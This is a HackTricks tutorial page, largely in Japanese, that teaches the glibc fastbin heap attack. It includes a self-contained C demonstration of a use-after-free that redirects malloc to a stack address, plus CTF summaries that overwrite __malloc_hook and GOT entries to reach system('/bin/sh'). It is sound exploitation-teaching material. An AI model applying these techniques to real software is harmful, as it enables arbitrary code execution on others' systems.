Fast Bin Attack
Reading time: 12 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
For more information about what is a fast bin check this page:
Because the fast bin is a singly linked list, there are much less protections than in other bins and just modifying an address in a freed fast bin chunk is enough to be able to allocate later a chunk in any memory address.
As summary:
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);
// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)
// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);
ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
非常によく説明されたコードの完全な例は、https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html で見つけることができます。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;
ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);
printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
int stackVar = 0x55;
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";
memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
free(ptr0);
free(ptr1);
free(ptr2);
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
*ptr1 = (unsigned long)((char *)&stackVar);
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
unsigned long *ptr3, *ptr4, *ptr5;
ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);
printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}
caution
グローバル変数 global_max_fast
の値を大きな数で上書きできる場合、これによりより大きなサイズのファストビンチャンクを生成でき、以前は不可能だったシナリオでファストビン攻撃を実行できる可能性があります。この状況は、large bin attack および unsorted bin attack の文脈で有用です。
例
- CTF https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html:
- チャンクを割り当て、解放し、その内容を読み取り、(オーバーフロー脆弱性を使用して)埋めることが可能です。
- 情報漏洩のためのチャンクの統合: この技術は基本的にオーバーフローを悪用して偽の
prev_size
を作成し、1つの前のチャンクをより大きなチャンクの中に入れることです。これにより、別のチャンクを含むより大きなチャンクを割り当てると、そのデータを印刷してlibcへのアドレス(main_arena+88
)を漏洩させることが可能になります。 - mallocフックの上書き: これには、前の重複状況を悪用して、同じメモリを指す2つのチャンクを持つことが可能でした。したがって、両方を解放すること(保護を回避するためにその間に別のチャンクを解放する)で、同じチャンクをファストビンに2回持つことが可能でした。その後、それを再度割り当て、次のチャンクへのアドレスを
__malloc_hook
の少し前を指すように上書きしました(mallocがフリーサイズだと思う整数を指すように - 別のバイパス)、再度割り当てて、mallocフックへのアドレスを受け取る別のチャンクを割り当てました。
最後に、one gadget がそこに書き込まれました。 - CTF https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html:
- ヒープオーバーフローと使用後の解放、ダブルフリーがあります。チャンクが解放されると、ポインタを再利用して再解放することが可能です。
- Libc情報漏洩: いくつかのチャンクを解放すると、メインアリーナの一部の位置へのポインタが得られます。解放されたポインタを再利用できるため、このアドレスを読み取るだけです。
- ファストビン攻撃: 割り当てへのすべてのポインタは配列内に保存されているため、いくつかのファストビンチャンクを解放し、最後のものにアドレスを上書きしてこのポインタの配列の少し前を指すようにします。その後、同じサイズのチャンクをいくつか割り当てると、最初に正当なものが得られ、その後ポインタの配列を含む偽のものが得られます。これで、この割り当てポインタを上書きして
free
のGOTアドレスをsystem
を指すようにし、次にチャンク1に"/bin/sh"
を書き込んでfree(chunk1)
を呼び出すと、代わりにsystem("/bin/sh")
が実行されます。 - CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html
- 1バイトのオーバーフローを悪用して、未ソートビン内のチャンクを統合し、libc情報漏洩を取得し、その後ファストビン攻撃を実行してmallocフックをone gadgetアドレスで上書きする別の例です。
- CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html
- 未ソートビンを悪用してUAFでlibcアドレスとPIEアドレスを漏洩させた後、このCTFのエクスプロイトはファストビン攻撃を使用して、制御されたチャンクへのポインタがある場所にチャンクを割り当て、特定のポインタを上書きしてGOTにone gadgetを書き込むことができました。
- 未ソートビン攻撃を通じて悪用されたファストビン攻撃を見つけることができます:
- ファストビン攻撃を実行する前に、libc/heapアドレスを漏洩させるためにフリリストを悪用することが一般的であることに注意してください(必要に応じて)。
- Robot Factory. BlackHat MEA CTF 2022
- サイズが
0x100
より大きいチャンクのみを割り当てることができます。 - 未ソートビン攻撃を使用して
global_max_fast
を上書きします(ASLRのため1/16回機能します。12ビットを変更する必要がありますが、16ビットを変更する必要があります)。 - グローバルチャンク配列を変更するためのファストビン攻撃。これにより、任意の読み取り/書き込みプリミティブが得られ、GOTを変更していくつかの関数を
system
を指すように設定できます。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。